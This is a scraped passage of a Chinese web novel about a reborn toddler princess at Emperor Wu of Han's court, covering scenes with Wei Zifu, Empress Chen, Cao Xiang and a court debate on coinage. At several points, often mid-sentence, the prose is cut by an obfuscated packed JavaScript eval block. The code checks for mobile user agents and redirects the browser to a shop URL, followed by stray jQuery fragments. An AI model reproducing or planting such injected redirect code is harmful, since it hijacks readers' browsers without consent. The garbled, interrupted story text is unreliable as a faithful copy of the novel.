以陈阿娇的性子,她还真能干出这事。 旁边的卫子夫见状,屈身请罪,“陛下,妾身未能察觉皇后病情,反而拖着您留在昭阳殿,惹得皇后病情加重,妾身有罪! ” “好了!朕知道你的性子。你向来安分守己,不会去打探椒房殿的事情。”刘彻将她扶起。 卫子夫微微侧头,“多谢陛下信任!” 袁梅默默磨牙。 馆陶大长公主说的没错,卫子夫就是个心机深沉的。 刘彻见刘瑶睁着大眼好奇地看着他,将她抱起,点了点她的鼻子,“阿瑶,皇后病了,阿瑶与朕一同去看皇后可好?” “……”刘瑶一副看神经病的眼神。 大哥,她现下只是一个不足两岁的稚童,你们夫妻斗法,别掺和她。 “你这是什么眼神?”刘彻好笑地摇着她的身板。 刘瑶小手摸了摸他的额头,然后又贴了贴自己的,然后扭头对卫子夫斩钉截铁道:“阿母,阿父有病!” 刘彻顿时一头黑线。 旁边守着的卫青努力抿嘴,心中默默给刘瑶竖起了大拇指。 自从公主嘴皮子越发伶俐,陛下吃瘪的次数越来越多了,当然他看的热闹也多。 卫子夫担忧地望向刘彻,“陛下……” 后宫的手段她是知道一些。 举朝皆知皇后的性子,她若是伤到了阿瑶,凭借太皇太后和馆陶大长公主,就是陛下也无可奈何。 刘彻颠了颠怀里的女儿,安抚笑道,“你放心,朕既然带阿瑶去,肯定让她玩的尽兴。” 皇后虽然性子娇蛮,但还是有分寸的。 刘瑶:…… 是他想玩吧。 她这么小的年纪,居然也要背锅吗? 卫子夫见状,只能低声叮嘱刘瑶要乖,不要惹皇后生气。 其实她心中更怕皇后看到如此可爱聪明的阿瑶,会抢走她,这可是她的命。 刘瑶给了她水润润的香香吻,用极小的声音道:“阿母,别怕!” “阿瑶!”卫子夫抱住她的手一下子紧了,心头仿佛喝了酸梅汤,又酸又甜。 她家阿瑶只是孩子,自己却让她如此担心,是她这个阿母做的不称职了。 卫子夫睁大眼睛,克制眼眶的热意,柔声道:“阿瑶早些回来,阿母给你做好吃的。” “嗯。”刘瑶点了点头。 …… 刘彻抱着她坐上了銮舆,在去椒房殿的路上,刘彻好奇道:“阿瑶,你刚才为何说阿父有病?” 难道昭阳殿的人与她说了不该说的话。 刘瑶仰头瞅着他,抱着他的胳膊,语重心长道:“阿父,有病要治!阿瑶不是大夫!” 深宫之中,作为一个不足两岁的小豆丁,安全的成长环境需要大家共同打造! 刘彻懂了。 果然是小孩子,看起来再聪明,说出来的童言稚语还是让人发笑。 这孩子以为自己去椒房殿去治病的吗? 他从腰间的荷包掏出一枚果脯。 刘瑶见状,下意识伸手去够。 “阿瑶跟着朕去椒房殿时,一定要听话,不要乱跑,知道吗?”刘彻扬高胳膊。 “……两颗!”刘瑶当即伸出两根手指。 说来她现在贵为汉武帝的长公主,都说她身份尊崇,可是比起上辈子的日子,实在是一个天上,一个地下,不说互联网、手机这些东西,她一个小孩子就是暂时也玩不了这些,可是吃的方面,着实让她痛苦。 各种香料、佐味料缺失,吃的东西大多是炖煮,小零食更是缺少。 正因为自己是长公主,周围人看管的更严,吃的、用的大多不能自己做主。 她自问上辈子也不是嘴馋的人,在经历了寡淡无味又无聊的婴儿时期后,她发誓,未来一定要壮大大汉美食。 刘彻见状,挑了挑眉,也没有讨价还价,他从前没有随身带果脯的习惯,后来发现能拿捏女儿,就带了一些。 处理朝政累的时候,吃颗果脯确实心情不错。 …… 刘彻的銮驾到达椒房殿时,陈阿娇正在对镜梳发。 看着铜镜中明眸皓齿,闭月羞花的女子,一头秀丽的青丝仿佛绸缎一般,陈阿娇唇角不禁勾起。 同时心中有些烦闷,她到底哪里不如昭阳殿的卫子夫。 明明她与陛下小时候约定好的山盟海誓,陛下怎么就忘了呢。 “启禀皇后,陛下驾到!”内侍连忙进殿通传。 陈阿娇一听,面色一喜,起身刚想出去迎接。 忽而想起她现在的状况,连忙招呼宫女扶着她,步摇发钗也都拆下,一副虚弱无力的模样。 只不过这幅样子在见到刘彻怀里的碍眼东西时,差点将唇瓣咬出血,还好最后克制住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他见状,只能再待一会儿,不过比起他,阿瑶则是更加兴奋,可能是第一次看到大人喝药,小孩子两眼冒光,趴在他的膝上,踢踏着小腿,在一旁兴致勃勃给皇后鼓劲。 弄得陈皇后喝也不是,不喝也不是,神色有些尴尬。 刘瑶表示,这可是现成的“自讨苦吃”,这种热闹当然要看。 她见汤碗旁边旁边有汤勺,当即扯了扯刘彻的袖子,指着陈阿娇,“阿父,喂!” 一勺一勺喝,才能将滋味品尽。 刘彻:…… “陛下!”陈阿娇一听,面露期待,连看刘瑶都顺眼多了。 刘彻心中叹气,摸了摸刘瑶的脑袋,“你啊!” 小孩子果然单纯啊! 刘彻接过药碗,用汤勺舀起一勺。 刘瑶在一旁指挥,“少一点,烫!” 刘彻无奈,凑前吹了两下,淡定道:“吹凉了,不信你尝尝。” 说话时,将勺子凑近了她。 “……”刘瑶小手十分机警地捂住口鼻。 好苦、好腥的药。 坏阿父!信不信她真一口饮了,看谁着急! “陛下!”陈阿娇见他们快忘了自己,娇声喊了一下。 刘彻见状,将汤勺递到她唇边。 陈阿娇轻轻抿尽,看模样甘之如饴,让刘瑶怀疑是不是里面掺了蜂蜜。 可是一碗苦药掺了蜂蜜,苦甜苦甜的,滋味更怪,应该没人愿意喝吧。 就这样,等到刘彻喂完汤药,陈阿娇看起来精神焕发,浑身都冒着粉红泡泡。 让刘瑶看的惊诧。 等离开椒房殿时,陈阿娇还送了刘瑶不少首饰和绸缎,刘彻十分欣慰,又软语哄了她几句。 帝后和乐,椒房殿的宫侍自然也轻松。 …… 离开椒房殿时,刘瑶扭头看着沐浴在阳光中的华丽宫殿,不由得赞叹,不愧是汉宫,巍峨高大。 小家伙将下巴枕在刘彻的肩头,奶声奶气道:“阿父,将来你不开心时,阿瑶也喂你喝药!” “……”刘彻差点被口水呛到,刚想询问为什么,转念间,想明白了其中逻辑,扶额无奈道:“阿瑶,喝药不能开心!” 刘瑶当然知道,不过不妨碍她逗人。 粉雕玉琢的娃娃顿时眼含控诉,“阿父骗人!皇后就很开心。” 刘彻无奈望天。 老天爷,请问该如何和小孩子讲道理。 一旁的莫雨见刘彻吃瘪,低头忍笑。 …… 等到刘瑶回到昭阳殿,又得到卫子夫的好一阵稀罕。 傍晚的时候,长乐宫的太皇太后、皇太后也纷纷送来赏赐,指名道姓是送给刘瑶的。 刘瑶:…… 卫子夫对上自家女儿迷惑的眼神,轻轻摸了摸小孩的软发。 孩子不懂,她懂。 这些东西不仅是对孩子的嘉奖,也是对她的敲打。 4. 第 4 章 身为皇宫唯一的公主,皇帝现今唯一的女儿,刘瑶在皇宫可谓是如鱼得水,基本上在各处都能吃得开,就是馆陶大长公主虽然待她不如皇太后、太皇太后亲热,见面也给个笑脸。 两人第一次见面时,见到如此和善的馆陶大长公主,让刘瑶还有些受宠若惊,总觉得有些发毛。 按照卫子夫与陈阿娇的立场,馆陶大长公主应该看她不顺眼,没想到脾气不错。 馆陶大长公主自然不怎么喜欢刘瑶,即使刘瑶看着长得十分可爱,但是一想起对方是卫子夫的孩子,她心里就膈应。 给她笑脸,也是看在刘彻与皇太后的面子,再加之对方是公主,目前威胁不了阿娇的地位。 当务之急是让阿娇尽早生下皇子,不是和个女娃计较。 这点馆陶大长公主还是清楚的。 …… 作为不满两岁稚龄的刘瑶小朋友目前在宫内畅通无阻,长乐宫、未央宫随她闯荡,当然大多时候不是自己用双腿走到的。 她最喜欢去未央宫观赏青涩的汉武大帝如何处置朝政。 刘彻也喜欢她过来,让人在未央宫的偏殿给她布置了一块休息的地方,时不时逗她说话,与她玩耍。 刘瑶觉得,刘彻肯静下心陪她,一是因为自己是他第一个孩子,二是因为他现在没多少事可干。 当然,刘彻现下这么闲,也是被迫的。 他十六岁登基,虽说按照现代的规定,还未成年,但是以古代的标准,已经足够独当一面,奈何…… 现下朝堂权利不止被太皇太后把持,皇太后也分了一杯羹,两人代表的外戚家族实力强大,几乎占据了大半个朝堂。 之前朝堂中,窦氏一族的代表人物是魏其侯窦婴,他是太皇太后的侄子,按照辈分是刘彻的叔叔。 王氏一族的代表人物是皇太后同母异父的弟弟田蚡,是刘彻的舅舅,被封为武安侯,对于这人,刘瑶依稀记得,似乎此人后来也当了丞相,后来被吓死了吧。 在史书上的名声很不好,冤杀许多勋贵和大臣,贪财奸邪,落到那个下场不冤。 两大外戚互相平衡,至于现下“年纪小”的皇帝陛下,现在没他多少戏份,朝中所有事宜都有太皇太后这尊佛压制。 不过前两年,御史大夫赵绾和郎中令王臧上书劝谏刘彻独立,不要向长乐宫奏禀政事,此事被太皇太后知晓,赵绾、王臧下狱被迫自杀,有所牵连的窦婴、田蚡被撤职,现在朝中的新任丞相则是对太皇太后言听计从的许昌。 少年帝王壮志开头崩殂,心心念念的“建元新政”全部被废。 啧啧!阿父好可怜! 据她的观察,刘彻虽然每天都有政务政策处理,但是不能自己做主,凡事要向长乐宫禀告。 对于田蚡,他出手大方,经常进宫给刘彻与她带许多稀奇玩意,看着是个和善的长辈。 就是长得不好看,说话很是机灵,嘴皮子也利索,很会哄人。 可是刘瑶对他怎么都提不起喜欢,可能因为他笑的有些猥琐,也可能是她先入为主的刻板印象。 说实话,毕竟也是亲戚,她还是希望看错了田蚡,未来多个亲戚,多条路。 刘瑶一边摇着拨浪鼓,一边叹气。 身为千古一帝的汉武大帝即使年轻,肯定也有自己的雄心壮志,这种全身被束缚的状态,难为他忍了这么久,说不定就因为少年的这些经历,才成就了他的后来。 一旁翻看竹简的刘彻余光瞥到自家公主这副小大人作态,直乐道:“阿瑶这是怎么了?谁欺负你了?告诉阿父,阿父给你做主。” 听到这话,刘瑶小手中的拨浪鼓一顿,目光哀怨,“阿父,咱们彼此彼此。” 刘彻眉心微跳,将竹简扔到一旁,起身将刘瑶捞起,“什么彼此彼此,朕是皇帝,只有朕欺负别人的份。你一个吃奶的娃娃懂什么?” “……”刘瑶瞪大眼睛,鼓起腮帮子,生气道:“阿父,我现在不吃奶了,我早就可以吃肉了。” 说话时她露出自己的小米牙。 为了表达自己断奶的决心,她可是抗争了三天,才争取到吃肉糊糊的机会。 刘彻凑近看了看,轻啧道:“你这点牙,确定不再喝奶补补吗?” “哼!阿父,坏人!”刘瑶当即控诉,别以为她看不出来。 刘彻接过她手中的拨浪鼓,轻轻转动,哄道:“阿瑶别生气了,阿父知错了。” 刘瑶扭头别过身子,不理他。 刘彻见状,眸光微转,转移了话题,“阿瑶刚刚叹气做什么?与阿父说说,阿父为你解忧!” 听到这话,刘瑶转身,小脸皱成一团,“阿父,我们都好难啊!” 阿父这个皇帝目前还没有亲政。 而她要做的事情就更多了。 刘彻疑惑:…… 只见两头身的小娃娃生无可恋地看着屋顶,奶声奶气道:“我要做的事情可多了,要忙死了!” 看着刘彻御案上的竹简,她反应过来这个时候四大发明好像也就才点亮一个指南针。 四大发明还没有凑齐,什么蒸汽机、工业革命这些就别想了,先学会走路吧。 可是她现在! 刘瑶低头看了看自己的小手,然后又看了看刘彻。 越觉得他们父女现下是同病相怜。 刘彻更加迷惑,看小家伙的表情似乎真被难着了,但是又说不清楚,难道是做梦了。 他轻轻摸了摸小家伙的头,温声道:“阿瑶可是做噩梦了?还是被人或者物吓到了?” 虽然不知道这么小的孩子会不会做噩梦,但是阿瑶早慧。 俗话说,慧极必伤,他要注意这些。 刘瑶长长叹了一口气,“只是觉得阿父好穷,唉!” 确切来说大汉穷啊。 刘彻更加不懂了。 他富有四海,身为大汉的皇帝,自问没在衣食上苛待刘瑶,将世间最好的东西都送到她面前。 怎么让她得出他很穷的结论。 刘瑶见他风中凌乱,两只小手捧住他的大手,“阿父,你是皇帝,可要努力挣钱养阿瑶,养阿瑶不亏哦!” 刘彻:…… …… 阳春三月,杨柳依依,春风和煦。 天气渐暖后,被圈住的刘瑶终于有机会往外跑了,同时她还有了一个新朋友。 ——平阳长公主的独子曹襄,今年五岁,比她高一大头。 对于平阳长公主,即使刘瑶现在小脑瓜没有恢复多少上辈子的记忆,还是有点印象,知道她未来嫁给了卫青。 现下的平阳长公主还是平阳侯的妻,曹襄就是两人的独子。 因为平阳长公主向刘彻进献卫子夫的事情,加之卫子夫诞下刘瑶,所以这两年馆陶大长公主看她不顺眼,时不时找她麻烦。 平阳长公主没办法,只能避其锋芒。 毕竟馆陶大长公主深得太皇太后宠爱,她虽是太皇太后的孙女,还是没办法与亲闺女相比,就连她的母后也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694982|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在馆陶大长公主面前伏低做小。 虽然同为长公主,馆陶大长公主的身份与权利都不是她能对抗的。 想到此,坐在凉亭的平阳长公主目光落到远处长廊中玩耍的刘瑶。 这也是一位长公主。 水灵灵的双眸,粉嫩嫩的圆脸,声音又奶又甜,让人禁不住软下心肠。 怪不得陛下和长乐宫都十分宠爱她。 卫子夫顺着她的目光,也落到远处的刘瑶身上,唇角经不住上扬。 …… 身为平阳长公主与平阳侯的独子,曹襄被养的很好,只不过有些太好,整一个又高又壮的胖娃娃,最起码目前三个她加起来都抵不上曹襄这个身板。 尤其曹襄小小年纪偏爱肉食,喜欢浓油赤酱,加上平阳长公主他们宠溺,现在曹襄的体型有些控制不住。 刘瑶咬着手,歪头看着面前帮她挡阳光的小胖哥,小脸微绷,“阿狙表兄,好孩子要饮食均衡,不能吃太多肉,多吃菜蔬,太胖不好!” “阿狙”是曹襄的小名。 猕猴被称为“狙”。 可是看曹襄现在的身材,猕猴称不上,可以冠名“小香猪”了。 罪过罪过,“彘儿”可是阿父的小名,平阳长公主肯定不会抢。 曹襄闻言挠了挠头,低头看了看自己挺着的小肚腩,面露失落,“阿瑶讨厌我吗?” 刘瑶严肃道:“太胖不好!”尤其小孩子更要注意。 曹襄见状,圆溜溜的眼睛里泪珠就滚出来,“阿母说我长大就瘦了。” “不许哭!”刘瑶两手叉腰,一副凶萌的样子,上下比划了一下他的身板,“太胖将来长不高。” 曹襄眼神更加迷惑了,这话他更听不懂了,阿母说了,他的个头在长安城中无人能敌(同龄人之间)。 他嘟起嘴,虽然不想做,但也不想惹刘瑶生气,只得焉了吧唧道:“好,那我回去每顿少吃半碗肉,多吃半碗菜。” “嗯……乖阿狙!”刘瑶努力踮脚,想要摸摸他的颅顶安慰一下,可惜低估了两人之间的身高差,发现有些够不着。 “阿瑶……我帮你。”曹襄见状,上前一步,一把环住她。 就算曹襄身板再壮,现年五岁的他想要抱起两岁的刘瑶,还是吃力。 刘瑶一下子被箍住,压根动不了,还要用脚尖配合他,否则两人一起摔倒。 “……”曹襄深吸一口气,全身用力,终于让刘瑶脚尖离地,不过支持不到三秒,很快就泄气了。 旁边伺候的宫女虚抬着手,紧张地看着两人,争取在两人摔倒的第一时间,将人“救”了。 “……阿狙,松手!”她一头黑线,无奈地看着面前的小胖崽。 果然她现在太小了,一个四头身的小孩居然都能制住她。 曹襄一定要减肥。 曹襄发现他抱不起来人,可是自己又比妹妹高这么多,澄澈的眼珠子转了转,余光瞥到远处跪坐的阿母,将人松开,利落地跪坐在地上,目露期待地看着刘瑶。 “……”刘瑶心中叹气。 算了,不能欺负小孩子。 她伸出小肉手,摸了摸小胖崽的颅顶,“阿狙表兄真棒!” “嘿嘿!”曹襄当即起身,一把拉住她往假山方向走,稚声道:“我发现一个蚂蚁窝,给它们喂了好多点心,阿瑶也要喂吗?” “嗯……看看吧。”刘瑶也不清楚怎么和小孩玩,也就由他,毕竟刚刚小胖崽答应自己多吃蔬菜少吃肉了。 5. 第 5 章 两个孩子的一举一动被卫子夫与平阳长公主看在眼里。 平阳长公主忍笑道:“我家阿狙平时在府上可是小霸王,别说我了,就是曹寿也奈何不了他,没想到与阿瑶玩的这般开心。” 卫子夫温柔一笑,“长公主过誉了,是小郎君爱护妹妹。” “好了,好了,咱们就不要互夸了!你现在成了夫人,不用对我如此拘谨。”她目光落到对方的腹部,“你现下怀了第二胎,要小心保护好自己,早日给陛下生下皇子,到时候你与阿瑶会更轻松。” “多谢长公主的关心。”卫子夫素手下意识抚上自己平坦的腹部,“妾身不求男女,只求孩子平安就好。” 平阳长公主闻言,也不说什么,只是笑了笑。 卫子夫有孕的消息再次传出,恐怕椒房殿那位又要闹腾了。 …… 假山旁,曹襄牵着刘瑶去找他发现的蚂蚁窝。 到了地方发现,现场除了几个伶仃蚂蚁“小将”,曹襄形容的如潮如水的蚂蚁窝没了。 刘瑶猜测,估计被洒扫的宫人给清理了。 曹襄傻眼,牵着刘瑶绕着假山一圈,在找寻无果后,打算再用一些点心引出蚂蚁。 刘瑶对此拒绝,打算换一种玩法。 “我们去找阿父玩。”刘瑶决定去找刘彻。 一旁守着的宫女轻声道:“长公主,陛下政事繁忙,咱们还是不要打扰了。” 刘瑶摆摆手,“阿父不忙。” 她没说错,刘彻现在就是想忙也忙不了。 宫女:…… 曹襄也好奇皇帝忙什么,乖乖点头。 …… 未央宫。 身为皇帝理政之地,未央宫华丽大气,气势恢宏。 守在宫门口的侍卫和宫侍老远就看到一大一小两个娃娃靠近,神色一紧,陛下与众大臣正在商议事情。 老天爷啊!卫夫人和平阳长公主怎么不看好这两个小祖宗。 一名宫侍连忙进殿通报。 刘瑶废了老大力气爬过了台阶,来到殿门前,冲着守门的羽林卫笑了笑,“阿父呢?” 羽林卫微微附身,冷硬的脸庞露出一抹不怎么熟练的笑容,“启禀长公主,陛下与众大臣正在里面商议政事。” 此话一出,他就看到刘瑶与曹襄眼睛乍亮。 羽林卫:…… 刘瑶与曹襄来到宣室殿门口,隐隐听到里面的争议声。 随行宫人见状,围住刘瑶与曹襄,低声劝他们离开。 殿门口的动静被宣室殿中的众人听到,大家顿时止了声,目光纷纷落到门口方向。 恰巧看到一大一小两个娃娃如同爬山一般,努力地攀登殿门口阻碍他们的门槛,心中不禁发笑。 对于小娃娃的身份,看其装扮和年龄,压根不用猜,大家都知道是陛下的第一女刘瑶长公主,至于大娃娃,除了认识曹襄的人,许多人没认出来。 中常侍小声道:“陛下,要不奴婢帮公主一下?” 刘彻瞥了他一眼。 让他们自食其力不好吗? 一开始大家因为废除三铢钱的事情吵得不可开交,正好两个孩子的到来,缓和了殿内的气氛。 中常侍自知失言,后退一步。 刘瑶在曹襄的帮助下,终于翻过了门槛,站直后,小手拍了拍身上的灰尘,忙完这些后,抬头正好与诸位勋贵大臣的眼睛对上。 “众卿吃饭了吗?”她歪头奶声奶气问道。 她不知道如何称呼现在的朝臣,只能学着刘彻的口吻。 曹襄见状,想了想,学道:“众卿要喝水吗?” 众人愣住:…… 大家没想到刘瑶会问出这话。 这让他们怎么回答? 没吃饭? 吃过了? 刘彻掩唇轻咳,压住唇角的弧度。 刘瑶听到动静,哒哒跑到御案前。 歪头好奇地看着他。 今日的刘彻头戴十二旒冕冠,身穿玄色冕服,大气威严,看着很有帝王的架子。 刘瑶疑惑,“阿父,你能看清阿瑶吗?” 刘彻唇角微翘,沉声道:“自然能!” 小孩闻言,拍了拍小胸脯,“那我就放心了。” 一旁的曹襄砰砰跑到刘彻面前,好奇道:“舅父,你们在玩什么?” 以前刘彻觉得他这个大外甥长得壮,现下跑到阿瑶身后,两相对比,一个好比酸杏,另外一个就似哀梨了。 堂下的东方朔向来胆大,开口道:“长公主,小郎君,陛下与我等在商议铸钱的事情。” 铸钱一事关系民生,现下民间权贵豪富们私铸、盗铸现象猖狂,已经到了不得不改的地步。 自高祖和文帝下令允许民间自由铸造铜币后,并且对民间私铸行为采取放任态度后,大多数得益的只有那些权贵豪强与富商,不仅没有帮到底层百姓,反而造成物价高涨,私铸、盗铸泛滥,百姓手里的钱越发不值钱。 权贵富商们没有钱可以造,百姓却要勤勤恳恳、辛辛苦苦用自己的劳动所得换取权贵手中那些劣质钱币,在市面上买不到对应的货物,长此以往下去,再次爆发秦末的动乱也是正常的。 陛下登基后的第一年就着手整治铸币事宜,下令全国使用三铢钱,但是没有废除之前流行的四株钱,所以最后失败了。 究其原因,三株钱与四株钱等价流通,但是三株钱中所用的铜要少于四株钱,民间百姓自然选择价值高的,加上盗铸横行,三株钱流通失败。 现在陛下打算废除三铢钱,使用四株半两钱。 朝臣有人赞同,有人反对。 反对的人觉得,陛下这政策在许多人看来,是打自己的脸,往回走,在不少人看来,是对民间盗铸、私铸的妥协。 赞同的人觉得现下已经证明三铢钱失败,及时折返,也是一件幸事。 听东方朔说起这个,其他朝臣也纷纷开口表达自己的观点,他们当然不是真要说给刘瑶这个两岁稚童听,而是说给面前的刘彻。 曹襄听得云里雾里,无聊地环顾四周,小眼神瞥见刘瑶听得认真,连忙也端正态度,仰着头看着说话的大臣。 刘瑶听完后,纳闷道:“为什么要让外人铸钱,不能阿父一人铸吗?” 众人听完,苦笑。 这想法有些痴人说梦。 诸侯封国,先帝必须稳住诸王与功臣才能坐稳皇位,维护朝廷的统治,下放铸币权也是迫不得已妥协的结果,当然也造成各诸侯王国掌握铸币权而富有天下。 现下民间盗铸、私铸泛滥,劣币驱除良币,各种形制不一,物价高飞,再不改,恐怕诸侯就要按耐不住自己的野心了。 但是这权利一旦放开,想要收回就十分困难。 刘瑶趴着御案左右扫了扫,注意到桌角放置着两个陶碗,里面堆着一些铜币。 小手从两个陶碗中各拿了一个看了看,瘪着嘴。 她分不清哪个是三铢钱,哪个是四株钱,在她看来,质量都很差,与后世工艺差的太远,比她见过的最差的机器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹襄凑到她身边,疑惑道:“阿瑶,大人们怎么了?” 刘瑶昂起小下巴,“他们在夸我!” 曹襄一听,学着东方朔的样子拍手道:“妙哉!妙哉!” 刘瑶佯装谦虚道:“彼此!彼此!” 曹襄眼含问号。 刘瑶解释,“咱们一样聪明!” “原来是这样,我知道了!”曹襄顿时喜笑颜开,恨不得抱起刘瑶转圈。 刘彻:…… 众人听到两个小娃娃稚嫩的对话,不由得发笑。 …… 就这样,刘瑶与曹襄不仅成功圆满完成了探望皇帝的任务,还获得了“百金”奖励。 刘瑶分了曹襄一半。 毕竟人家辛辛苦苦陪她闯了未央宫,没有功劳也有苦劳。 曹襄认真道:“阿瑶,以后我的钱也分你一半。” 他回去就将他的小金库给阿瑶搬过来。 刘瑶没啥感觉,只是挥手提醒他,“阿狙表兄回去要好好吃菜!” 再胖就不健康了。 剩下的都给卫子夫了。 卫子夫柔声道:“这些金我给你存起来。” 刘瑶大气一挥手,“阿母随便用。” 她没钱可以去找刘彻。 卫子夫见状,笑的更加温柔。 6. 第 6 章 曹襄在出宫的路上,一直叮嘱平阳长公主看好他的钱。 平阳长公主佯装伤心,逗弄道:“阿狙,阿母最近也缺钱,这些钱不能分阿母一些吗?” 平日不见曹襄这般财迷,宫中赏赐给他的东西,若不是有奴仆看着,很多都被他自己给扔了。 曹襄闻言,顿时小胖脸纠结,忽而眼睛一亮,仰头道:“回去后,我给阿母拿钱。” 平阳长公主闻言挑了挑眉,纤纤细手指了指小孩旁边的钱袋子,“阿狙现下不是有钱吗?” “阿母,这是我赚的辛苦钱,不能分。”曹襄一脸认真。 平阳长公主越发无语,素手揪了揪孩子的脸颊,失笑道:“那阿狙告诉阿母,你忙了什么?” “辛苦钱”三个字也有脸说,跟谁学的。 她派人打听了,主意是阿瑶说的,奖励也是阿瑶的,她家儿子就是凑了一下热闹。 曹襄:“很忙,要走好多路,听好多人说话,还要研究铸钱,唉,当小孩真累!” 平阳长公主:…… 回到公主府时,平阳侯已经在府门前守着了,见两人都开开心心的,他也高兴。 宫中规矩多,即使尊贵如平阳长公主这般出身,有时候也不能轻松,所以有时候他比较担心。 “怎么感觉又重了,看来今天在宫中吃的好啊!”平阳侯将曹襄抱在怀里颠了颠。 平阳长公主心呼不妙,抬头就见曹襄臭着小脸。 “怎么了?有人欺负你们了?”平阳侯心生紧张。 “这个……”平阳长公主开口欲解释,被曹襄打断。 “我今天吃了很多菜,没胖。”曹襄板着小脸道。 平阳侯觉得怪异,不过见儿子生气了,还是哄道:“不管是肉还是菜,吃饱就行。” 曹襄略微满意地点了点头。 平阳侯:…… 进府的时候,他时不时给平阳长公主使眼色,示意她解释一下。 平阳长公主只是忍笑,并没有开口。 等到了内院,平阳长公主才说了来龙去脉。 平阳侯看着坐在地上收拾金饼的儿子,嘴角微抽,“这些都是陛下赐的?” 平阳长公主白了他一眼,“我刚才不是说了吗?是阿瑶分给他的。” 平阳侯:…… 他掸了掸衣袍上的褶皱,轻松道:“金子是陛下给的,也算是陛下赐的。” 不过他没想到自家儿子能和陛下的小公主玩到一起,而且听平阳长公主的说法,对方还是占主导地位。 至于减重的事情,平阳侯也早有对策。 孩子正在长身体的时候,多吃肉没问题,要想减重,可以多锻炼。 正好这个年纪可以学武了,儿子也是时候撑起他们平阳侯府的牌面。 平阳长公主听完他这些话,是万分无语。 觉得自家丈夫闲的没事找事干,孩子才五岁,这人已经展望未来了。 …… 长乐宫中,喝完药的太皇太后躺在廊下吹风,听了未央宫的热闹,经不住笑道:“皇帝赏罚分明,确实不错。” 容姜:“小公主也大方,分了阿狙小郎君一半,听说回去时,小郎君看的可紧了,连平阳长公主都没办法。” 太皇太后闭目养神,“看来平阳与卫子夫感情不错。” “卫子夫毕竟是平阳长公主送上去的,两人关系亲近些也能理解。”容姜给她拢了拢身上的薄被。 “阿嫖还是在与平阳置气吗?”太皇太后坐直身子,示意宫女给她递杯水。 容姜服侍她饮了半杯,给她擦了擦唇角,“大长公主的脾气你也知道,不过她与皇后都有收敛,甚少去找卫子夫的麻烦。” “真是被我宠坏了,都多大年纪还与小辈计较,连陛下都懂事多了,她这个脾气,真让人头疼。”太皇太后眉心拢起,头疼道。 对于铸钱方面,她还是赞同皇帝的想法,年轻人脑袋灵活,不像他们这些老人,脑子都快被时间搅成浆糊了。 不过皇帝他们的脑子也有些不管用,不如小孩子的脑子灵活。 容姜一边给她按着肩膀,一边安慰道:“大长公主性子虽然急了些,也知道分寸,这次与平阳长公主闹脾气,也是心疼皇后。” “阿娇……她也是快被我和阿嫖惯坏了。整日和男人对着干,有几个男人受得住。”太皇太后长叹一口气。 容姜:“皇后与陛下青梅竹马,两人都还年轻,平时吵架也正常,夫妻之间,最怕互不搭理,那样才真的让人害怕。” “……”太皇太后回想起年轻时她与文帝之间,确实是这样的,双方若是还能吵架,说明还记挂在心上,可若是连架都吵不起来,人心真是散了。 “对了,陛下还是与董仲舒有来往吗?”太皇太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694984|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷不丁道。 陛下现在年纪大了,有自己的主意,她能理解,但是他想要摒弃“黄老之学”,选择儒术,她是断断不能忍的。 自大汉开国,一直遵从“无为而治”,奉行“黄老之学”,才能够休养生息,有了文景之治,现在贸然改变,与国不利。 而据她所知,这源头就在这位大儒身上。 董仲舒献策之后,被刘彻派往江都易王刘非那里当国相,可惜暂时不能收拾他。 容姜见她面色缓和,低声道:“这个奴婢没打听到,不过陛下经过前两年,应该长了教训,不会贸然行动。” “哼!”太皇太后重哼一声,“我那孙儿聪慧的很,当然不会贸然行动,只不过我在一日,‘无为’就是大汉的国策,要想改,等我哪天入土再说。” 容姜不敢再应声。 …… 其实刘彻对太皇太后十分敬仰与尊重,虽然她掌控朝局多年,可也让大汉走上正轨,稳定朝局。 不过尊重不代表他赞成太皇太后的一些理政理念。 先秦、战国采取法家思想,变法图强,最后秦国推行法家最成功,最终统一了天下,秦嬴政建立了统一的秦朝,也成了第一个皇帝。 但是法家思想可以帮助秦统一天下,却无法完美统治国家,暴政苛税,让百姓民不聊生。 没能及时调节过来的秦朝二世而亡,怎么不令人惋惜。 汉朝开国以来,一直是选择无为而治,奉行黄老之学,一开始朝廷与百姓都穷,朝廷减少干涉,有助于休养生息,减少动乱。 可是经过七十余年发展,现今的大汉已经与立国时期不同。 继续追捧无为而治的结果,就是地方豪强迅速崛起,他这个皇帝若是再不管,就镇压不住下方的诸侯国了。 同时民间的秩序也是在野蛮生长状态,没有朝廷的干涉,许多人在律法的边缘地带不停试探,也不利于朝局稳定。 